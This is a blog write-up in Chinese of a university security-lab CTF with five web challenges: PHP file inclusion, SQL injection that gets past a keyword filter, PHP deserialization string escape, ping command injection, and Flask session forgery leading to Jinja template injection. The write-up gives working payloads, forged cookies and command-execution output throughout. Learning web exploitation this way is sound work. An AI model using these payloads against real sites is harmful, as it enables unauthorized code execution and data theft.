网安实践4-WEB

T1.文件包含漏洞

1
2
3
4
5
6
7
8
9
10
11
<?php

// flag is in flag.php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

构造exp

GET ?file=data://text/plain;base64,

<?php system("ls")?> PD9waHAgc3lzdGVtKCJscyIpPz4%3D

1
flag.php index.php

<?php system("cat flag.php")?> PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKT8%2B

发现cat不出来,估计cat被ban了 base64拿出来

<?php system("base64 flag.php")?> PD9waHAgc3lzdGVtKCJiYXNlNjQgZmxhZy5waHAiKT8%2BYA%3D%3D

1
2
3
4
PD9waHAKJGZsYWc9InZtY3tRSUgxNmRYYzZVYkRSTGlQVnRZYmJ1dnE4SEZodHlOdH0iOwo=

<?php
$flag="vmc{QIH16dXc6UbDRLiPVtYbbuvq8HFhtyNt}";

T2.SQL注入漏洞

有过滤

1
2
3
4
5
6
7
<?php
function waf($var)
{
$blacklist = array("select", "union", "flag", "or", "ro", "where");
$var = str_ireplace($blacklist, "", $var);
return $var;
}

只过滤一次,直接注1" ununionion selselectect 1,2,grrooup_concat(flflagag) frroom flflagag#

T3.反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__FILE__);

class getflag
{
public $file;

public function __destruct()
{
if ($this->file === "flag.php") {
echo file_get_contents($this->file);
}
}
}

class tmp
{
public $str1;
public $str2;

public function __construct($str1, $str2)
{
$this->str1 = $str1;
$this->str2 = $str2;
}

}

$str1 = $_POST['easy'];
$str2 = $_POST['ez'];
$data = serialize(new tmp($str1, $str2));
$data = str_replace("easy", "ez", $data);
unserialize($data);

跑一下看看序列化后的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$str1 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaa';
$str2 = 'bbbbbbbbbbbbbbbbbbbbbbbb';
$data = serialize(new tmp($str1, $str2));

echo $data;
echo "\n";
$data = str_replace("easy", "ez", $data);

echo $data;
echo "\n";

var_dump(unserialize($data));



# O:3:"tmp":2:{s:4:"str1";s:27:"aaaaaaaaaaaaaaaaaaaaaaaaaaa";s:4:"str2";s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";}
# O:3:"tmp":2:{s:4:"str1";s:27:"aaaaaaaaaaaaaaaaaaaaaaaaaaa";s:4:"str2";s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";}
# object(tmp)#1 (2) {
# ["str1"]=>
# string(27) "aaaaaaaaaaaaaaaaaaaaaaaaaaa"
# ["str2"]=>
# string(24) "bbbbbbbbbbbbbbbbbbbbbbbb"
}

序列化之后对象用字符串保存,字符串里记录了每个对象的类型,长度信息

给的字符串替换每次能吃掉str1两个字符,但是记录的str1长度不变,在反序列化时str1的长度就会包含后面的长度,使后面的类型出错

1
2
3
4
5
6
7
$str1 = 'easyeasyeasy';
$str2 = 'bbbbbbbbbbbbbbbbbbbbbbbb';


O:3:"tmp":2:{s:4:"str1";s:12:"easyeasyeasy";s:4:"str2";s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";}
O:3:"tmp":2:{s:4:"str1";s:12:"ezezez";s:4:"str2";s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";}
bool(false)

可以看到str1的长度本来应该是12,替换之后反序列化时按12读str1的长度ezezez";s:4:,把后面的内容吞掉了,因此反序列化失败

因此可以利用字符串替换造成的长度改变吃掉一些控制字符,再在str2中构造对应的控制字符,就能手动构造反序列化后的对象

为了读flag,需要构造一个catflag对象,并且成员file需要为flag.php,尝试把str2构造成满足上面要求的对象:

s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}

根据长度要求,得到str1和str2

payload

1
2
$str1 = 'easyeasyeasyeasyeasyeasyeasyeasyeasyeasye';
$str2 = '"";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}';

POST easy=easyeasyeasyeasyeasyeasyeasyeasyeasyeasye& ez=%22%22%3Bs%3A4%3A%22str2%22%3BO%3A7%3A%22getflag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag%2Ephp%22%3B%7D%7D

1
2
<?php
$flag="vmc{fJD1wTFH7GmJ7lJDopbSu9HjaJ765Ljk}";

T4.远程命令执行漏洞

命令执行api/ping.php

POST请求,发现对;&#等字符有过滤,但是对换行符没有过滤,构造payload

1
2
1.1.1.1
ls > tmp.txt

url编码

POST ip=1%2E1%2E1%2E1%0Als%20%3E%20tmp%2Etxt

查看/tmp.txt

1
2
3
4
5
6
7
class.css
cloudF.jpg
cloudS.jpg
index.php
jquery.js
ping.php
tmp.txt

没看到flag,再找找根目录

1
2
1.1.1.1
ls / > tmp.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

看到flag了,直接cat

1
2
1.1.1.1
cat /flag > tmp.txt

vmc{W8MFa2vuozlsDTypNEe0l9XoiJxAZRDq}

T5.模板注入漏洞

响应标头有hint

Hint: tell you a secret: /nonono

访问/nonono拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
nonono"
return rsp


@app.route('/nonono')
def source():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index('nonono'):]


@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'No, you are a hacker!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
flag = filter(flag)
message = "%s, God bless you! The flag is " % flag
return render_template_string(message)
else:
return "Error: Permission denied!"


if __name__ == '__main__':
app.run('0.0.0.0', port=80)

需要让role里面的is_admin为1

role在session里面,flask的session存在cookie里面的

Cookie: session=eyJyb2xlIjp7ImlzX2FkbWluIjowLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZmqMcA.3ah8G2gg36p0dgQ4luF-yEUbKV0

对flask session伪造的学习 - GTL_JU - 博客园

flask-session-cookie-manager/flask_session_cookie_manager3.py at master · noraj/flask-session-cookie-manager · GitHub

解码看看session

1
2
3
4
5
6
❯ python flask_session_cookie_manager3.py decode -c 'eyJyb2xlIjp7ImlzX2FkbWluIjowLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZmqMcA.3ah8G2gg36p0dgQ4luF-yEUbKV0'

b'{"role":{"is_admin":0,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ=="}}'

echo -n VGgxc0BvbmUhc2VDcmV0IQ== | base64 -d
Th1s@one!seCret!

session的密钥也在上面Th1s@one!seCret!

is_admin修改成1,编码得到新的session

1
2
❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ=="}}'
eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZmqcBg.tcMeAN4LW-PuxKTmt1P9agbcggA

成功pass掉is_admin的校验

admin, God bless you! The flag is

后面的模板flag也存在role字典里面,新增一项"flag":"{{7*7}}"}}

1
2
❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{7*7}}"}}'
eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0iLCJmbGFnIjoie3s3Kjd9fSJ9fQ.ZmqcvA.UdtVkcQoCKqAn_YZHKQiTH4x9I0

49, God bless you! The flag is

模板注入成功

先拿到os

{{self.__init__.__globals__.__builtins__['__import__']('os')}}

1
2
❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\")}}"}}'
.eJwdirsKAjEQRf9lKoVFVsuFbUQQSwu3WghJnI2DeUgyihLy745W99zDqZCTRxgqUFH6GijCsO0g6iASGAtDBwVtRlZ3_Iibju5t-_3LhMvN7qaDDVN_Oo-jdIvXTopaC_ploxRFYqUEnE9G-_Jn8yTPFH_HIa9mkC48UpZyhrX8VGRbg9a-QUw1jg.ZmqdQg.NayVVIECz3hw-ho1IgxtoQdhMcQ

<module 'os' from '/usr/lib/python3.8/os.py'>, God bless you! The flag is

利用os.popen().read()执行命令并返回结果

ls一下

1
2
❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\").popen(\"ls\").read()}}"}}'
.eJwdisEKwjAQBf9lTy2UUj0WehFBPHqwp0JI020MbpKSRFFC_t21p_dmmAzBE0KfwUQhF2sc9IcGnLQsIWFM0EBEFTCJJ37ZjRf9Ud3pPdv7Qx3Hs7Jjd70NA3crSc1FzhFpbYUwziQh-Gjys6S4__llKBn3B42pmoA7u_nA5QQ1s4-87eY3dEy0U0C5VHUpUMoP58g8JQ.ZmqdqA.A1G80iMgEsbG_mk6TzcBvHfSWuM

__pycache__ app.py secret.py , God bless you! The flag is

flag应该在根目录下面

1
2
❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\").popen(\"ls /\").read()}}"}}'
.eJwdir0KwjAURl9F7tRCqdWx0EUEcXSwUyGk6W0M5o8kihLy7t46fd85nAzBaYQ-g4qML0ZZ6A8NWG5IQsKYoIGIImBiT_ySGy_yI7rTezb3hziOZ2HG7nobBupWzSUVOUfUa8uYsioxRkdqN3Md_39-KZ2U3UBiqiagzngXqJygJnaRtvXOoyXScbffOCBfqroUKOUHW4E8dA.Zmqd2A.pNJ0HSDvBVygZ7mh-YKt0sSePWc

app bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var , God bless you! The flag is

读flag

1
2
❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\").popen(\"cat /flag\").read()}}"}}'
.eJwdjM0KwjAQBl9F9tRCqdVjoRcRxKMHeyqENN3GYP5Ioigh7-7W034zDJshOI3QZ1CR8cUoC_2hAcsNSUgYEzQQUQRM7IlfcuNFfkR3es_m_hDH8SzM2F1vw0DdqrmkIueIem0ZU1YlxmhI7Wau43_PL6WTshtITNUE1BnvApUT1MQu0m2982iJBE-7_fZ4kwH5UtWlQCk_lNo-Zw.Zmqd_g.uo8etPTlzPXNUQ8gMg2Bos7Scq4

vmc{5usT3k9aad5wcaFRs3TYNTrLYWL4d1r0} , God bless you! The flag is

成功拿到flag

顺便看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# app.py
from flask import Flask, session, request, make_response, render_template_string
from secret import secret_key, secret_payload, filter


app = Flask(__name__)
app.config["SECRET_KEY"] = secret_key


@app.route('/', methods=['GET', 'POST'])
def index_handler():
if request.method == 'POST':
name = request.form['name']
if 'admin' in name or name == '':
return "who are you!"
else:
payload = secret_payload
session['role'] = payload
return render_template_string("Hello,Huster, your name is {{var}}", var=name)
else:
rsp = make_response("try to post 'name'")
rsp.headers['hint'] = "tell you a secret: /nonono"
return rsp


@app.route('/nonono')
def source():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index('nonono'):]


@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'No, you are a hacker!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
flag = filter(flag)
message = "%s, God bless you! The flag is " % flag
return render_template_string(message)
else:
return "Error: Permission denied!"


if __name__ == '__main__':
app.run('0.0.0.0', port=80)
1
2
3
4
5
6
7
8
9
10
11
# secret.py
secret_key = 'Th1s@one!seCret!'
secret_payload = {
"name": 'test',
"is_admin": 0,
"secret_key": 'VGgxc0BvbmUhc2VDcmV0IQ=='
}


def filter(flag):
return flag.replace("[", '').replace("]", '')

网安实践4-WEB
https://blog.noxke.icu/2024/06/13/ctf_wp/网安实践4-WEB/
作者
noxke
发布于
2024年6月13日
许可协议